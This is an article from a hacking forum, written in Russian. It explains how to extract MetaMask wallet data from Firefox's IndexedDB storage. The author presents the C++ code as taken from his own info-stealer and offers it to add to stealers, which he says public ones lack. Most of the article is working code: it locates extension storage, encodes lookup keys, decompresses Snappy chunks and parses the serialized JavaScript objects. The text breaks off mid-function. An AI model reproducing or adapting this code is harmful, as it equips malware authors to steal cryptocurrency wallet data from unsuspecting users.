• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Разбираем Gecko IndexedDB на примере MetaMask

d4x0n3l

RAM
Пользователь
Регистрация
10.10.2023
Сообщения
121
Реакции
153
Автор: d4x0n3l
Источник: https://xss.pro


Итак, это моя вторая статья, и в этот раз она будет поинтереснее, я вам обещаю, и постраюсь всё разжевать по теме без воды.)

Честно говоря я долго думал о чем же написать статью, потому что все темы для интересных статей растягивались бы как минимум на статей 10, одним словом были огромными, поэтому сегодня мы остановимся на чем-нибудь попроще, а именно разберем внутреннее устройство гековского IndexedDB на примере экстейшена MetaMask и научимся вытаскивать оттуда интересующую нас инфу. Я даже предоставлю POC на плюсах (под линукс правда, но портануть его под винду тривиальная задача). Почему именно Gecko IndexedDB? Чтож, потому что я не видел ещё ни одного публичного стиллера, который бы это умел - все стиллеры, что я встречал, тырят только хромовские экстейшены. ¯\_(ツ)_/¯

Тут стоит оговориться, что саму имплементацию я вытащил из своего личного стиллера, который был очень завязан на моём сдк, и многие классы пришлось заменить на публичные, например мой LocalPtr пришлось заменить на std::shared_ptr, который крутит атомик каунтеры, а некоторые вообще выпилить, учитывайте это при написании поправок на то, что код будет (возможно) не таким быстрым, как хотелось бы (хотя 1 секунда в дебаг билде это всё равно довольно быстро).
Весь код был написан на C++ 20. Я не буду останавливаться на самом языке и подразумеваю, что читатель уже знаком с ним хотя бы на среднем уровне и понимает конструкции языка без проблем (в конце концов за языковые статьи да и в целом разжевывание языка и его тонкостей здесь не платят). Весь финальный код закомменчен на английском, там же будут ссылки на некоторые сурсы. В моём POC'е я не буду использовать thirdparty либы (кроме tl::expected, который начиная с C++ 23 можно будет заменить на std::expected), поэтому всё парсить мы будем вручную.

Ну что ж, поехали.

Ищем дату экстейшенов

Итак, сразу оговорюсь, в качестве гековского браузера у нас будет firefox, и я подразумеваю, что вы уже нашли профиль юзера в фаерфоксе, если нет, то это тривиальная задача, посмотрите исходник любого стиллера.
Прежде чем что-то пытаться извлечь из экстейшена, нужно сначала найти откуда извлекать - Gecko браузеры вроде firefox'а хранят экстейшены и их дату иначе, нежели браузеры на основе хромиума. Сами экстейшены мы трогать не будем, нас интересует только их дата, и чтобы извлечь дату, нам нужно сначала получить путь до неё. Для этого мы будем парсить файлик prefs.js, который находится в папке с профилем юзера. Этот файлик, как несложно догадаться, содержит юзерпрефы, включая установленные экстейшены и их локальные uuid'ы. В частности нам нужно найти преф extensions.webextensions.uuids и распарсить JSON объект формата key-value (да, это тривиальный объект). Далее нам нужно будет найти наш экстейшен в этой мапе по имени и запомнить его uuid, он нам будет нужен, чтобы построить путь до даты экстейшена... - точнее сначала до бд, которая хранит инфу о том, какая именно дата нам нужна, но об этом позже.
Сам путь выглядит следующим образом: путь_до_профиля + "/storage/default/moz-extension+++" + UUID + "^userContextId=4294967295/idb/"
Как вы могли заметить, число в userContextId у меня здесь равно 4294967295, на самом деле это число можно вытащить из containers.json, но оно всегда одинаковое для всех экстейшенов, поэтому это лишнее действие можно просто не производить.
В самой папке же находится sqlite бд, которая хранит инфу о том, в каком файлике хранится нужная нам дата. Сами файлы хранятся в папке files/ там же.
Имя бд похоже всегда одинаковое для всех экстейшенов под всеми ОС, скорее всего оно захардкоженно: 3647222921wleabcEoxlt-eengsairo.sqlite (Впрочем даже если это не так, то можно найти эту бд просто по расширению .sqlite, она там одна в папке). =)
Но прежде чем мы приступим к разбору содержимого бд, давайте для начала выполним шаги выше, итак, сам код:
C++:
inline tl::expected<TExtensionsMap, std::error_code> FirefoxHandler::ExtractExtensions(std::unordered_set<std::string_view> sExts) noexcept
{
    // Если такого файлика нет или мы не можем получить к нему доступ, то значит мы не сможем и получить список экстейшенов
    std::ifstream isPrefs(m_ProfilePath.generic_string() + "/prefs.js");
    if (!isPrefs.is_open())
        return tl::unexpected(std::make_error_code(std::errc::no_such_file_or_directory));

    // мы будем читать до тех пор, пока не найдем строку, начинающуюся с user_pref("extensions.webextensions.uuids"
    // в идеале нам нужно парсить сами аргументы user_pref
    for (std::string sLine; std::getline(isPrefs, sLine);)
    {
        if (!sLine.starts_with("user_pref(\"extensions.webextensions.uuids\""))
            continue;

        // Теперь нам нужно найти и извлечь сам JSON, парсить мы его будем вручную
        // Здесь мы просто находим начало и конец JSON'а
        // Задача для нас упрощается, потому что это очень простой JSON, это тупо key-value
        // Тем не менее в реальном проекте я рекомендую использовать полноценный парсер, чтобы избежать проблем с дабл-экранированными кавычками например
        // P.S. Кто не очень знаком с плюсами, std::string_view нужен, чтобы избежать лишнего копирования
        std::string_view svContent(sLine);
        auto szStart = svContent.find("\"{\\\"", 42);
        if (szStart == svContent.npos) break;
        auto szEnd = svContent.find("\\\"}\");", szStart + 3);
        if (szEnd == svContent.npos) break;

        svContent = svContent.substr(szStart + 2, szEnd - szStart);

        std::string_view svKey;
        bool bParseKey = true;
        std::unordered_map<std::string_view, std::string_view> mExtsUuids;

        while (true)
        {
            szStart = svContent.find("\\\"");
            szEnd = svContent.find("\\\"", szStart + 2);
            if (szStart == svContent.npos || szEnd == svContent.npos)
                break;
        
            auto str = svContent.substr(szStart + 2, szEnd - szStart - 2);
            svContent = svContent.substr(szEnd + 2);

            if (bParseKey) svKey = str;
            else mExtsUuids.emplace(svKey, str);
            bParseKey = !bParseKey;
        }

        // убираем из списка все экстейшены, которые мы не собираемся стиллить / парсить
        std::erase_if(mExtsUuids, [&sExts](const auto & ext) { return !sExts.contains(ext.first); });
        TExtensionsMap mResultMap;
        if (mExtsUuids.empty())
            return mResultMap;

        for (const auto & [svExtName, svExtUuid] : mExtsUuids)
        {
            auto sExtDBFullPath = m_ProfilePath.generic_string() + "/storage/default/moz-extension+++" + std::string(svExtUuid) + "^userContextId=4294967295/idb/3647222921wleabcEoxlt-eengsairo.sqlite";
            std::ifstream isExtDB(sExtDBFullPath, std::ios::binary);

            if (!isExtDB.is_open())
                continue;

            isExtDB.seekg(0, std::ios_base::end);
            auto szTotalRead = isExtDB.tellg();
            isExtDB.seekg(0, std::ios_base::beg);
            if (szTotalRead == std::streampos(-1))
                continue;

            std::string sDBData;
            sDBData.resize(szTotalRead);
            isExtDB.read(sDBData.data(), szTotalRead);

            std::string sFilesPath = sExtDBFullPath.substr(0, sExtDBFullPath.size() - 6) + "files/";
            mResultMap.emplace(std::string(svExtName), GeckoIndexedDB<std::string>(SQLiteTableReader<std::string>(std::move(sDBData)), sFilesPath));
        }

        return std::move(mResultMap);
    }

    return tl::unexpected(std::make_error_code(std::errc::no_link));
}

Разбираем, что же там в БД

Итак, допустим мы нашли нужный нам экстейшен используя код выше, в случае с метамаском это webextension@metamask.io, и теперь хотим вытащить нужную нам инфу. Вся информация в гековском IndexedDB хранится по "ключам", у каждого "ключа" соответствующий ему файлик (как правило, об этом ниже), и для каждого такого ключа есть соответствующая запись в только что открытой нами базе данных, в которой этот ключ хранится в "закодированном" виде, и прежде чем мы сможем его оттуда прочитать, нам его по-хорошему бы раскодировать, но делать этого мы не будем, так как если мы пишем стиллер, то мы подразумеваем, что мы уже знаем, какие ключи у какого расширения используются, и поэтому мы можем сделать проще - закодировать наш ключ и просто искать по нему. Этот вариант лучше по той причине, что если мы парсим дату на сервере, то можем просто сделать SELECT, а не селектить всё и вручную перебирать все варианты, но в моём POC'е мы всё сделаем на стороне клиента, так как моя задача показать пример.

Сам алгоритм "кодирования" различается для разных типов данных, я предоставлю имплементации для других типов данных помимо строк, но на самом деле нам интересны только строки, итак, алгоритм для строк выглядит так:

1. Конвертируем нашу UTF-8 строку в UTF-32 (по факту в расширенный юникод)​
2. Пушим в качестве первого байта 0x30, что означает, что закодированная дата - строка​
3. Далее итерируемся по UTF-32 строке (у которой каждый символ 4 байта) и в зависимости от каждого символа:​
3.1 Если это UTF-16, то просто копируем символ​
3.2 Если это UTF-32, то часть сдвигаем на 10 бит вправо и прибавляем 0xD800, к оставшейся части (в начале) прибавляем 0xDC00, на выходе будем иметь 2 шорта​
4. Кодируем 1 или 2 шорта в "код поинт" (кол-во шортов будет зависеть от варианта)​
5. Код поинт кодируется следующим образом:​
5.1. Если это ASCII символ [0, 0x7F] (за исключением последнего), то к нему добавляется единица (бинарная кодировка вида 0xxxxxxx)​
5.2. Если это символ в диапазоне [0x7F, 0x3FFF + 0x7F], то к нему добавляется 0x8000-0x7F и кодируется в Big Endian (кодировка вида: 10xxxxxx xxxxxxxx)​
5.3. Если это символ в диапазоне [0x3FFF + 0x80, 0xFFFF], то значение смещается на 6 бит влево с добавлением префикса и кодируется в Big Endian (кодировка вида: 11xxxxxx xxxxxxxx xx000000)​

C++:
template <typename TSQLData>
template <typename TString>
inline std::string GeckoIndexedDB<TSQLData>::EncodeStringKey(TString && tKey) noexcept
{
    using TCharType = typename std::remove_cvref_t<TString>::value_type;
    std::u32string sToEncode;

    if constexpr (sizeof(TCharType) == 1)
    {
        try
        {
            std::wstring_convert<std::codecvt_utf8<char32_t>, char32_t> cCvt;
            sToEncode = cCvt.from_bytes(tKey.data());
        }
        catch (...) { return {}; }
    }
    else
    {
        sToEncode = std::u32string(tKey.begin(), tKey.end());
    }

    std::string sResult;
    sResult.reserve((sToEncode.size() * 4) + 2);
    sResult.push_back(static_cast<char>(GeckoIDBKeyType::String));

    for (char32_t c : sToEncode)
    {
        bool bTwoInts;
        std::uint16_t u1, u2;
        std::uint32_t u = static_cast<std::uint32_t>(c);
        if (u <= (std::numeric_limits<std::uint16_t>::max)())
        {
            u1 = static_cast<std::uint16_t>(u);
            bTwoInts = false;
        }
        else
        {
            u1 = static_cast<std::uint16_t>((u >> 10) | 0xD800);
            u2 = static_cast<std::uint16_t>((u & 0x3FF) | 0xDC00);
            bTwoInts = true;
        }

        EncodeCodePoint(sResult, u1);
        if (bTwoInts) EncodeCodePoint(sResult, u2);
    }

    return sResult;
}

template <typename TSQLData>
inline void GeckoIndexedDB<TSQLData>::EncodeCodePoint(std::string & sResult, std::uint16_t uPoint) noexcept
{
    if (uPoint < 0x7F) sResult.push_back(static_cast<char>(uPoint + 1));
    else if (uPoint < 0x407F)
    {
        uPoint += 0x7F81;
        sResult.push_back(static_cast<char>((uPoint >> 8) & 0xFF));
        sResult.push_back(static_cast<char>(uPoint & 0xFF));
    }
    else
    {
        std::uint32_t uPointWide = static_cast<std::uint32_t>(uPoint) << 6; uPointWide |= UINT32_C(0x00C00000);
        sResult.push_back(static_cast<char>((uPointWide >> 16) & 0xFF));
        sResult.push_back(static_cast<char>((uPointWide >> 8) & 0xFF));
        sResult.push_back(static_cast<char>(uPointWide & 0xFF));
    }
}

Теперь, когда мы знаем что искать, мы идем в саму бд и селектим из таблицы object_data "закодированный" key. В моём случае я буду использовать простой парсер бд, предназначенный в первую очередь для стиллера, и просто сравнивать ключи. Как только мы найдем нужный ключ, мы селектим file_ids, который должен начинаться с точки, если же заселекченное значение оказалось пустым, то тогда селектим data и парсим его - это значит что дата настолько маленькая, что firefox записал её в бд вместо того, чтобы создавать файлик. Если же оно не пусто, то тогда убираем точку и идём в папочку files/, значение после точки и есть название IndexedDB файла.

C++:
template <typename TSQLData>
inline std::shared_ptr<GeckoIDBJSObject> GeckoIndexedDB<TSQLData>::ReadKey(std::string_view svKey) noexcept
{
    if (!m_DBReader.ReadTable("object_data"))
        return nullptr;

    const std::size_t szTotalObjects = m_DBReader.RowsCount();
    if (!szTotalObjects)
        return nullptr;

    std::string sKeyEncoded = EncodeKey(svKey);
    for (std::size_t i = 0; i < szTotalObjects; i++)
    {
        std::string_view svEncodedKey = m_DBReader.template ReadEntry<std::string_view>(i, "key").value_or(std::string_view{});
        if (svEncodedKey.empty()) continue;
        if (svEncodedKey.size() != sKeyEncoded.size()) continue;
        if (std::memcmp(sKeyEncoded.data(), svEncodedKey.data(), svEncodedKey.size())) continue;

        std::string_view svFileId = m_DBReader.template ReadEntry<std::string_view>(i, "file_ids").value_or(std::string_view{});
        if (svFileId.empty())
        {
            std::string_view svBlob = m_DBReader.template ReadEntry<std::string_view>(i, "data").value_or(std::string_view{});
            if (svBlob.size()) return ReadKeyObjectsData(svBlob.data(), svBlob.size(), true);
        }
        else
        {
            if (svFileId.size() > 1 && svFileId.front() == '.')
            {
                svFileId = svFileId.substr(1);
                const std::string sFilePath = m_pIDBFilesPath.generic_string() + std::string(svFileId);
            
                std::ifstream isFile(sFilePath, std::ios::binary);
                if (isFile.is_open())
                {
                    isFile.seekg(0, std::ios::end);
                    auto szSize = isFile.tellg();
                    isFile.seekg(0, std::ios::beg);
                    if (szSize != std::streampos(-1))
                    {
                        std::string sOut;
                        sOut.resize(szSize);
                        isFile.read(sOut.data(), std::streamsize(szSize));
                        return ReadKeyObjectsData(sOut.data(), sOut.size(), false);
                    }
                }
            }
        }
        break;
    }

    return nullptr;
}

Разбираемся с сжатием гековского IndexedDB

А вот и начинается самая интересная часть, устройство гековского IndexedDB довольно мудрённое, и в отличии от хромовского LevelDB, который под капотом у его же IndexedDB и который просто хранит пары ключ - значение, гековский IndexedDB хранит JS объекты, причем в его собственном гековском формате... Он на самом деле довольно простой, но чтобы его понять, когда-то мне пришлось немало времени провести ковыряя исходники firefox'а.

Итак, допустим что мы уже прочитали файл с датой с диска к нам в память, и прежде чем мы сможем распарсить саму дату, нам нужно её сначала раскомпрессить, то бишь разжать. IndexedDB использует snappy для компресии, это довольно простой гугловский алгоритм, мини-версия декомпрессора будет предоставлена вместе с POC'ом. Скомпрешенная дата разбивается на чанки и в таком виде записывается в файл, чанки эти не имеют отношения к самому snappy и нам их придется разобрать:

HEADER - 4 байта в Little Endian. Первый байт это тип чанка, оставшиеся 3 байта - его размер
DATA - N байт, дата чанка, определяется хедером

Типы чанков:
0xFF - чанк является идентификатором стрима, в частности обозначает, какой алгоритм сжатия используется, на данный момент это всегда снаппи (sNaPpY)
0x00 - чанк содержит сжатую дату в следующем формате:
CHECKSUM - 4 байта "замаскированной" чексуммы CRC32C, так же в Little Endian, об этом ниже​
DATA - N байт, сжатая дата​
0x01 - чанк содержит несжатую дату, формат такой же, как у чанка выше
0xFE - паддинг, просто скипаем
0x80-0xFD - чанк зарезервирован, так же просто скипаем его
0x** - все остальные чанки, не включенные в список выше, инвалидные, и если мы на такой натыкаемся, то это значит, что дата повреждена (или наш парсер устарел, на момент написания статьи он актуален)

Что касается маскированного CRC32C, то маска снимается так:
C++:
std::uint32_t uSum = uMaskedCheckSum - 0xA282EAD8;
return ((uSum >> 17) | (uSum << 15)) ^ 0xFFFFFFFF;

Собственно теперь, когда мы знаем, как выглядят чанки, мы можем начать их разжимать. Мы так же будем склеивать все чанки воедино во время разжатия и как только вся дата будет разжата, мы сможем приступить к парсингу уже самого IndexedDB:
C++:
const std::uint8_t * pChunkedData = reinterpret_cast<const std::uint8_t *>(pData);
std::size_t szDataLeft = szDataSize;
while (szDataLeft)
{
    if (szDataLeft < 4)
        return nullptr;

    const std::uint32_t uHeader = BytesToUint32LE(pChunkedData);
    const std::uint8_t uChunkType = uHeader & 0xFF;
    const std::uint32_t uChunkLength = uHeader >> 8;
    if (uChunkLength > szDataLeft - 4)
        return nullptr;

    szDataLeft -= 4;
    pChunkedData += 4;
    switch (uChunkType)
    {
        case 0xFF:
        {
            if (uChunkLength != 6)
                return nullptr;

            if (std::memcmp(pChunkedData, "sNaPpY", 6))
                return nullptr;

            szDataLeft -= uChunkLength;
            pChunkedData += 6;
            break;
        }
        case 0x00:
        {
            if (uChunkLength <= 4)
                return nullptr;

            SnappyDecompressor cDecomp(reinterpret_cast<const char *>(pChunkedData) + 4, uChunkLength - 4);
            const std::size_t szUncompressedSize = cDecomp.GetUncompressedSize();
            if (!szUncompressedSize)
            {
                if (szDataLeft > 5)
                    return nullptr;
                szDataLeft -= 5;
                break;
            }

            const std::size_t szUncompressedDataStart = sUncompressed.size();
            sUncompressed.resize(sUncompressed.size() + szUncompressedSize);
            const std::size_t szTotalUncompressed = cDecomp.UncompressToBuffer(sUncompressed.data() + szUncompressedDataStart, szUncompressedSize);
            if (!szTotalUncompressed || szTotalUncompressed != szUncompressedSize)
                return nullptr;

            const std::uint32_t uChecksum = UnmaskChecksum(BytesToUint32LE(pChunkedData));
            const std::uint32_t uExpectedCheckSum = CRC32C{}(sUncompressed.data() + szUncompressedDataStart, szUncompressedSize) ^ UINT32_C(0xFFFFFFFF);
            if (uExpectedCheckSum != uChecksum)
                return nullptr;

            pChunkedData += uChunkLength;
            szDataLeft -= uChunkLength;
            break;
        }
        case 0x01:
        {
            if (uChunkLength <= 4 || uChunkLength > 65536)
                return nullptr;

            const std::uint32_t uChecksum = UnmaskChecksum(BytesToUint32LE(pChunkedData));
            const std::uint32_t uExpectedCheckSum = CRC32C{}(pChunkedData + 4, uChunkLength - 4) ^ UINT32_C(0xFFFFFFFF);
            if (uExpectedCheckSum != uChecksum)
                return nullptr;

            sUncompressed.append(reinterpret_cast<const char *>(pChunkedData) + 4, uChunkLength - 4);
            pChunkedData += uChunkLength;
            szDataLeft -= uChunkLength;
            break;
        }
        default:
        {
            if (uChunkType >= 0x80 && uChunkType <= 0xFE)
            {
                szDataLeft -= uChunkLength;
                pChunkedData += uChunkLength;
            }
            else return nullptr;
            break;
        }
    }
}

Разбираемся с форматом гековского IndexedDB

Итак, теперь у нас на руках разжатая сырая дата IndexedDB, и прежде чем её парсить, нам нужно разобраться с форматом, сначала конечно же идёт хедер, но он подчиняется тому же формату, что и все остальные "объекты" в файле:

HEADER_DATA - 4 байта
HEADER_TAG - 4 байта
DATA - ...

Сразу после хедера может идти transfer map:
(OPTIONAL) TRANSFER_MAP_DATA - 4 байта
(OPTIONAL) TRANSFER_MAP_TAG - 4 байта

Если мы встречаем transfer map, то это означает, что дата временная (или вообще уже стёрта) и смысла её стиллить нет.
Собственно нормальный хедер всегда имеет таг SCTAG_HEADER (0xFFF10000), а в дате лежит тип скоупа, их всего несколько:

  • SameProcess - Дата находится в процессе браузера (в памяти) и не может быть считана, мы вообще не должны никогда на него попасть, но на всякий случай хандлим этот кейс тоже
  • DifferentProcess - Дата трансферится между разными процессами и пишется на диск, то что нам нужно
  • DifferentProcessForIndexedDB - Тоже самое
  • Unassigned и UnknownDestination - Они нас не интересуют, мы считаем их инвалидными

Если скоуп не DifferentProcess и не DifferentProcessForIndexedDB, то мы просто выходим (мы либо не сможем её распарсить, либо она нам просто неинтересна), если же всё окей, то идём дальше и чекаем, является ли следующий объект трансфер мапой, если да, то всё так же выходим, если нет, то опять же идём дальше и парсим root объект, но прежде чем мы это сделаем, давайте разберем формат каждого объекта, который мы будем парсить:

Тривиальные (Int32 / Boolean / Null / Undefined):
DATA - 4 байта, это и есть само значение. Для null и undefined там нет значения
TAG - 4 байта, тип объекта

NumberObject:
PAD + TAG - 8 байт
VALUE - 8 байт в виде Little Endian, тип double

DateObject
:
PAD + TAG - 8 байт
VALUE - 8 байт, так же как и number, но хранит количество миллисекунд с начала юникс эпохи

BigInt:
DATA - 4 байта, старший бит хранит знак, остальные биты хранят длину инта, в Little Endian
TAG - 4 байта
VALUE - N байт, это и есть сам биг инт, мы его парсить не будем, так как для этого нужен отдельный класс, который я тащить в этот POC не стал, ибо он сильно завязан на моём сдк (и мне было лень его отвязывать). Вы можете найти публичный класс для этого или написать свой
PAD - 0-7 байт, нужен для алигнмента

String:
DATA - 4 байта, старший бит хранит кодировку (об этом ниже), остальные биты хранят длину строки, в Little Endian
TAG - 4 байта
VALUE - N байт, строка либо в кодировке Latin1 (если старший бит 1), либо в UTF-16 (если старший бит 0), без нулл-терминатора
PAD - 0-7 байт, нужен для алигнмента

RegexpObject:
DATA - 4 байта в Little Endian, хранит флаги регекса, о них позже
TAG - 4 байта
SECOND_DATA - 4 байта в Little Endian
SECOND_TAG - 4 байта
VALUE - N байт если SECOND_TAG был строкой, то парсится так же, как и строка
PAD - 0-7 байт, нужен для алигнмента

Что касается флагов:
1 << 0 = ignore case​
1 << 1 = global regex​
1 << 2 = multiline regex​
1 << 3 = sticky​
1 << 4 = unicode​
1 << 5 = dot all​
1 << 6 = has indices​
1 << 7 = unicode sets​

BackReferenceObject:
DATA - 4 байта в Little Endian, хранит порядковый номер объекта в качестве ссылки
TAG - 4 байта

Референс объекты (BooleanObject / StringObject / BigIntObject):
Любой объект имеет свой номер в референс массиве, в то время как не-объекты его не имеют. Это объекты по факту тоже самое, что и их не Object варианты, то бишь парсятся так же. И как вы уже поняли, эти объекты нужны лишь для бекреференса, чтобы на них можно было сослаться

Контейнеры (ArrayObject / ObjectObject / MapObject / SetObject):
DATA - 4 байта, там ничего интересного (раньше там ничего не было вообще, сейчас там размер объекта)
TAG - 4 байта
... - другие объекты
END_DATA - 4 байта
TAG - 4 байта, EndOfKeys (0xFFFF0013)

Каждый контейнер парсится по разному, для SetObject это просто массив из других объектов, для ArrayObject, ObjectObject и MapObject это массив следующего формата:
KEY_OBJECT - string / string object / int32
DATA_OBJECT - любой объект
...
KEY_OBJECT_N
DATA_OBJECT_N
END_KEYS_OBJECT - EndOfKeys

Остальное (SavedFrameObject / ArrayBufferObject / SharedArrayBufferObject / SharedWasmMemoryObject / etc.):
Остальные объекты нам не интересны и парсить их мы не будем. Честно говоря я ещё ниразу не встречался с ними и поэтому имплементировать их парсинг не стал. Очень сомневаюсь, что и вы с ними встретитесь, так как экстейшены как правило не сторят подобную дату в свой IndexedDB, поэтому пока что оставим их в покое. PS. Пока писал статью, заглянул в более свежие сорцы, некоторые индексы теперь deprecated!

Парсим IndexedDB

Итак, с форматом мы разобрались, теперь настало время распарсить всё это безобразие. Это наверное будет самая короткая часть моей статьи, и при этом самая длинная по коду.
Для начала мы распарсим рут объект, мы подразумеваем, что это должен быть какой-то контейнер, после этого мы создадим стек и запушим наш контейнер туда. Мы будем пушить все контейнеры в этот стак и парсить дальнейшие объекты в зависимости от топового контейнера. Если вы встретим EndOfKeys, то просто попим стек и продолжаем парсить предыдущий контейнер, если же стек пуст, то значит мы всё распарсили и время выходить. Чтож, давайте всё это имплементируем:

C++:
template <typename TSQLData>
inline std::shared_ptr<GeckoIDBJSObject> GeckoIndexedDB<TSQLData>::ReadObjects(ByteReader<std::endian::little> & bfRead) noexcept
{
    std::shared_ptr<GeckoIDBJSObject> pMainObj = std::make_shared<GeckoIDBJSObject>();
    std::vector<std::shared_ptr<GeckoIDBJSObject>> vObjects;
    if (!ReadObject(bfRead, pMainObj, vObjects))
        return pMainObj;
 
    std::vector<std::shared_ptr<GeckoIDBJSObject>> vContainerObjsList;
    std::stack<std::shared_ptr<GeckoIDBJSObject>> sObjStack;
    auto ObjectMaybeAppendToTheStack = [&](std::shared_ptr<GeckoIDBJSObject> & pObj) noexcept
    {
        switch (pObj->t)
        {
            case GeckoIDBObjType::ArrayObject: [[fallthrough]];
            case GeckoIDBObjType::ObjectObject: [[fallthrough]];
            case GeckoIDBObjType::SavedFrameObject: [[fallthrough]];
            case GeckoIDBObjType::MapObject: [[fallthrough]];
            case GeckoIDBObjType::SetObject:
                sObjStack.push(pObj);
                break;
            default: break;
        }
    };

    ObjectMaybeAppendToTheStack(pMainObj);
    while (!sObjStack.empty())
    {
        {
            std::size_t szPos = bfRead.GetPos();
            const std::uint64_t uPair = bfRead.template ReadTrivial<std::uint64_t>();
            if (static_cast<GeckoIDBObjType>(GetPairTag(uPair)) == GeckoIDBObjType::EndOfKeys)
            {
                sObjStack.pop();
                continue;
            }

            bfRead.SetPos(szPos, false);
        }

        if (bfRead.IsOverflow())
            break;

        auto & pTopObj = sObjStack.top();
        std::shared_ptr<GeckoIDBJSObject> pKeyObj = std::make_shared<GeckoIDBJSObject>();
        ReadObject(bfRead, pKeyObj, vContainerObjsList);
        ObjectMaybeAppendToTheStack(pKeyObj);

        if (!pKeyObj->v.index())
        {
            switch (pTopObj->t)
            {
                case GeckoIDBObjType::ObjectObject: [[fallthrough]];
                case GeckoIDBObjType::MapObject: [[fallthrough]];
                case GeckoIDBObjType::SetObject: [[fallthrough]];
                case GeckoIDBObjType::ArrayObject: [[fallthrough]];
                case GeckoIDBObjType::SavedFrameObject: break;
                default:
                    sObjStack.pop();
                    continue;
            }
        }

        switch (pTopObj->t)
        {
            case GeckoIDBObjType::SetObject:
            {
                assert(pTopObj->v.index() == GeckoIDBJSObject::Set);
                std::get<GeckoIDBJSObject::Set>(pTopObj->v).insert(std::move(pKeyObj));
                break;
            }
            case GeckoIDBObjType::MapObject:
            case GeckoIDBObjType::ObjectObject:
            {
                std::shared_ptr<GeckoIDBJSObject> pValueObj = std::make_shared<GeckoIDBJSObject>();
                ReadObject(bfRead, pValueObj, vContainerObjsList);
                ObjectMaybeAppendToTheStack(pValueObj);

                switch (pKeyObj->t)
                {
                    case GeckoIDBObjType::Int32: [[fallthrough]];
                    case GeckoIDBObjType::String: [[fallthrough]];
                    case GeckoIDBObjType::StringObject:
                    {
                        assert(pTopObj->v.index() == GeckoIDBJSObject::ObjectOrMap);
                        std::get<GeckoIDBJSObject::ObjectOrMap>(pTopObj->v).emplace(std::move(pKeyObj), std::move(pValueObj));
                        break;
                    }
                    default: assert(0); break;
                }
                break;
            }
            case GeckoIDBObjType::ArrayObject:
            {
                if (pKeyObj->t != GeckoIDBObjType::Int32 || std::get<GeckoIDBJSObject::Int>(pKeyObj->v) < 0)
                    break;

                assert(pTopObj->v.index() == GeckoIDBJSObject::Array);
                std::shared_ptr<GeckoIDBJSObject> pValueObj = std::make_shared<GeckoIDBJSObject>();
                ReadObject(bfRead, pValueObj, vContainerObjsList);
                ObjectMaybeAppendToTheStack(pValueObj);
                std::get<GeckoIDBJSObject::Array>(pTopObj->v).push_back(std::move(pValueObj));
                break;
            }
            default: break;
        }
    }

    return pMainObj;
}

template <typename TSQLData>
inline bool GeckoIndexedDB<TSQLData>::ReadObject(ByteReader<std::endian::little> & bfRead, std::shared_ptr<GeckoIDBJSObject> & pObj, std::vector<std::shared_ptr<GeckoIDBJSObject>> & rObjects) noexcept
{
    const std::uint64_t uPair = bfRead.template ReadTrivial<std::uint64_t>();
    const std::uint32_t uTag = GetPairTag(uPair);
    const GeckoIDBObjType eType = static_cast<GeckoIDBObjType>(uTag);

    auto & rObj = *pObj;
    rObj.t = eType;
    bool bObjectPushed = false;

    auto ConvertString = [](bool bIsLatin1, std::vector<std::uint8_t> & vStrData) noexcept -> std::string
    {
        std::string sStr;
        if (bIsLatin1)
        {
            for (auto iIt = vStrData.begin(); iIt != vStrData.end(); ++iIt)
            {
                std::uint8_t u = *iIt;
                if (u < 0x80) sStr.push_back(static_cast<char>(u));
                else
                {
                    sStr.push_back(static_cast<char>(0xC0 | (u >> 6)));
                    sStr.push_back(static_cast<char>(0x80 | (u & 0x3F)));
                }
            }
        }
        else
        {
            vStrData.push_back(0);
            const char16_t * pUTF16 = reinterpret_cast<const char16_t *>(vStrData.data());
            try
            {
                std::wstring_convert<std::codecvt_utf8<char16_t>, char16_t> cCvt;
                sStr = cCvt.to_bytes(pUTF16);
            }
            catch (...) { return {}; }
        }
        return sStr;
    };

    switch (eType)
    {
        case GeckoIDBObjType::Null: [[fallthrough]];
        case GeckoIDBObjType::Undefined:
            rObj.v.emplace<GeckoIDBJSObject::Null>();
            break;
        case GeckoIDBObjType::Int32:
        {
            std::uint32_t uData = GetPairData(uPair);
            rObj.v.emplace<GeckoIDBJSObject::Int>(std::bit_cast<std::int32_t>(uData));
            break;
        }
        case GeckoIDBObjType::BooleanObject:
            rObjects.push_back(pObj);
            bObjectPushed = true;
            [[fallthrough]];
        case GeckoIDBObjType::Boolean:
        {
            std::uint32_t uData = GetPairData(uPair);
            rObj.v.emplace<GeckoIDBJSObject::Bool>(!!uData);
            break;
        }
        case GeckoIDBObjType::StringObject:
            rObjects.push_back(pObj);
            bObjectPushed = true;
            [[fallthrough]];
        case GeckoIDBObjType::String:
        {
            std::uint32_t uData = GetPairData(uPair);
            const bool bIsLatin1 = !!(uData & 0x80000000);
            std::uint32_t uLength = uData & 0x7FFFFFFF;
            if (!bIsLatin1) uLength *= 2;
            auto vStr = bfRead.template ReadByteArrayToContainer<std::vector<std::uint8_t>>(uLength);
            std::string sStr = ConvertString(bIsLatin1, vStr);
            rObj.v.emplace<GeckoIDBJSObject::String>(std::move(sStr));
            uLength = 8 - ((uLength - 1) & 7) - 1;
            bfRead.SkipBytes(uLength);
            break;
        }
        case GeckoIDBObjType::NumberObject:
        {
            rObj.v.emplace<GeckoIDBJSObject::Double>(bfRead.template ReadTrivial<double>());
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::BigIntObject:
            rObjects.push_back(pObj);
            bObjectPushed = true;
            [[fallthrough]];
        case GeckoIDBObjType::BigInt:
        {
            const std::uint32_t uData = GetPairData(uPair);
            std::uint32_t uLength = uData & 0x7FFFFFFF;
            rObj.v.emplace<GeckoIDBJSObject::Null>();
            bfRead.SkipBytes(uLength + (8 - ((uLength - 1) & 7) - 1));
            break;
        }
        case GeckoIDBObjType::DateObject:
        {
            const double dMillisecondsSinceEpoch = bfRead.template ReadTrivial<double>();
            rObj.v.emplace<GeckoIDBJSObject::Date>(std::chrono::system_clock::time_point(std::chrono::milliseconds(static_cast<std::uint64_t>(dMillisecondsSinceEpoch))));
            rObjects.push_back(pObj);
            bObjectPushed = true;
            break;
        }
        case GeckoIDBObjType::RegexpObject:
        {
            const std::uint32_t uData = GetPairData(uPair);
            std::string sRegex;
            if (uData & (1 << 6)) sRegex.push_back('d');
            if (uData & (1 << 1)) sRegex.push_back('g');
            if (uData & (1 << 0)) sRegex.push_back('i');
            if (uData & (1 << 2)) sRegex.push_back('m');
            if (uData & (1 << 5)) sRegex.push_back('s');
            if (uData & (1 << 4)) sRegex.push_back('u');
            if (uData & (1 << 7)) sRegex.push_back('v');
            if (uData & (1 << 3)) sRegex.push_back('y');

